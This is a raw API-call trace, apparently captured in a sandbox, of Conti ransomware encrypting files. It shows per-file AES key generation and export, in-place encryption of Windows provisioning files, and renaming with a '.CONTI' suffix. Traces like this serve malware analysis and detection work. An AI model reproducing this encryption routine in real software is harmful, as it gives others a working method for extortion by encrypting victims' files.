	[0113.973] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.973] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\682__Connections_Cellular_Claro (Brazil)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\682__connections_cellular_claro (brazil)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.973] GetProcessHeap () returned 0x1720000
	[0113.974] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.974] CryptDestroyKey (hKey=0x17c7bf0) returned 1
	[0113.974] GetProcessHeap () returned 0x1720000
	[0113.974] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c48b8 | out: hHeap=0x1720000) returned 1
	[0113.974] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0113.974] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b44780 | out: phKey=0x6b44780*=0x17c78b0) returned 1
	[0113.974] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b44784, pdwDataLen=0x35ffa54 | out: pbData=0x6b44784*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0113.974] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0113.975] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0113.975] GetLastError () returned 0x0
	[0113.975] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=446) returned 1
	[0113.975] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1be
	[0113.975] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.975] SetEndOfFile (hFile=0x40c) returned 1
	[0113.979] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.980] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.980] WriteFile (in: hFile=0x40c, lpBuffer=0x6b44784*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6b44784*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.986] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.986] ReadFile (in: hFile=0x40c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x1be, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x1be, lpOverlapped=0x0) returned 1
	[0113.986] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1be, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x1c0) returned 1
	[0113.986] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.986] WriteFile (in: hFile=0x40c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x1c0, lpOverlapped=0x0) returned 1
	[0113.986] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.986] WriteFile (in: hFile=0x40c, lpBuffer=0x6b44778*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6b44778*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0113.987] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.987] CloseHandle (hObject=0x40c) returned 1
	[0113.987] GetProcessHeap () returned 0x1720000
	[0113.987] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.987] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0113.987] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0113.987] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\684__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\684__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0113.988] GetProcessHeap () returned 0x1720000
	[0113.988] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.988] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0113.988] GetProcessHeap () returned 0x1720000
	[0113.988] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x18186a0 | out: hHeap=0x1720000) returned 1
	[0113.988] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0113.988] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b4b990 | out: phKey=0x6b4b990*=0x17c78b0) returned 1
	[0113.988] CryptExportKey (in: hKey=0x17c78b0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4b994, pdwDataLen=0x35ffa54 | out: pbData=0x6b4b994*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0113.989] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.989] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0113.989] GetLastError () returned 0x0
	[0113.989] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=718) returned 1
	[0113.989] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2ce
	[0113.989] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.989] SetEndOfFile (hFile=0x40c) returned 1
	[0113.989] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.989] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.989] WriteFile (in: hFile=0x40c, lpBuffer=0x6b4b994*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6b4b994*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0113.996] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.996] ReadFile (in: hFile=0x40c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x2ce, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x2ce, lpOverlapped=0x0) returned 1
	[0113.996] CryptEncrypt (in: hKey=0x17c78b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2ce, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2d0) returned 1
	[0113.996] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.996] WriteFile (in: hFile=0x40c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.996] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.996] WriteFile (in: hFile=0x40c, lpBuffer=0x6b4b988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6b4b988*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0113.996] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.996] CloseHandle (hObject=0x40c) returned 1
	[0113.996] GetProcessHeap () returned 0x1720000
	[0113.996] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0113.996] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0113.996] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.996] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\687__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\687__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.997] GetProcessHeap () returned 0x1720000
	[0113.997] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0113.997] CryptDestroyKey (hKey=0x17c78b0) returned 1
	[0113.997] GetProcessHeap () returned 0x1720000
	[0113.997] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c4a00 | out: hHeap=0x1720000) returned 1
	[0113.997] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0113.997] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b4abe0 | out: phKey=0x6b4abe0*=0x17c7d30) returned 1
	[0113.997] CryptExportKey (in: hKey=0x17c7d30, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4abe4, pdwDataLen=0x35ffa54 | out: pbData=0x6b4abe4*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0113.998] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.998] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0113.999] GetLastError () returned 0x0
	[0113.999] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=715) returned 1
	[0113.999] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cb
	[0113.999] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.999] SetEndOfFile (hFile=0x40c) returned 1
	[0113.999] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.999] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.999] WriteFile (in: hFile=0x40c, lpBuffer=0x6b4abe4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6b4abe4*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
	[0114.022] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.022] ReadFile (in: hFile=0x40c, lpBuffer=0x11c20000, nNumberOfBytesToRead=0x2cb, lpNumberOfBytesRead=0x35ffa2c, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesRead=0x35ffa2c*=0x2cb, lpOverlapped=0x0) returned 1
	[0114.022] CryptEncrypt (in: hKey=0x17c7d30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2cb, dwBufLen=0x500000 | out: pbData=0x11c20000*, pdwDataLen=0x35ffa24*=0x2d0) returned 1
	[0114.022] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.022] WriteFile (in: hFile=0x40c, lpBuffer=0x11c20000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x35ffa40, lpOverlapped=0x0 | out: lpBuffer=0x11c20000*, lpNumberOfBytesWritten=0x35ffa40*=0x2d0, lpOverlapped=0x0) returned 1
	[0114.022] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.022] WriteFile (in: hFile=0x40c, lpBuffer=0x6b4abd8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x35ffa58, lpOverlapped=0x0 | out: lpBuffer=0x6b4abd8*, lpNumberOfBytesWritten=0x35ffa58*=0x8, lpOverlapped=0x0) returned 1
	[0114.022] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.022] CloseHandle (hObject=0x40c) returned 1
	[0114.022] GetProcessHeap () returned 0x1720000
	[0114.022] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6562118
	[0114.022] lstrcpyW (in: lpString1=0x6562118, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml"
	[0114.022] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI"
	[0114.022] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\689__Connections_Cellular_FarEasTone (Taiwan)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\689__connections_cellular_fareastone (taiwan)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0114.023] GetProcessHeap () returned 0x1720000
	[0114.023] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6562118 | out: hHeap=0x1720000) returned 1
	[0114.023] CryptDestroyKey (hKey=0x17c7d30) returned 1
	[0114.023] GetProcessHeap () returned 0x1720000
	[0114.023] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b54980 | out: hHeap=0x1720000) returned 1
	[0114.023] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x35ffa80, lpCompletionKey=0x35ffa84, lpOverlapped=0x35ffa90) returned 1
	[0114.023] CryptGenKey (in: hProv=0x176b798, Algid=0x6610, dwFlags=0x1, phKey=0x6b49e30 | out: phKey=0x6b49e30*=0x17c78f0) returned 1
	[0114.023] CryptExportKey (in: hKey=0x17c78f0, hExpKey=0x175e8b0, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b49e34, pdwDataLen=0x35ffa54 | out: pbData=0x6b49e34*, pdwDataLen=0x35ffa54*=0x20c) returned 1
	[0114.024] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml")) returned 0x20
	[0114.024] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\690__Connections_Cellular_FarEasTone (Taiwan)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\690__connections_cellular_fareastone (taiwan)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x40c
	[0114.025] GetLastError () returned 0x0
	[0114.025] GetFileSizeEx (in: hFile=0x40c, lpFileSize=0x35ffa00 | out: lpFileSize=0x35ffa00*=719) returned 1
	[0114.025] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cf
	[0114.025] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.025] SetEndOfFile (hFile=0x40c) returned 1
	[0114.025] SetFilePointer (in: hFile=0x40c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.025] SetFilePointerEx (in: hFile=0x40c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.025] WriteFile (in: hFile=0x40c, lpBuffer=0x6b49e34*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x35ffa0c, lpOverlapped=0x0 | out: lpBuffer=0x6b49e34*, lpNumberOfBytesWritten=0x35ffa0c*=0x20c, lpOverlapped=0x0) returned 1
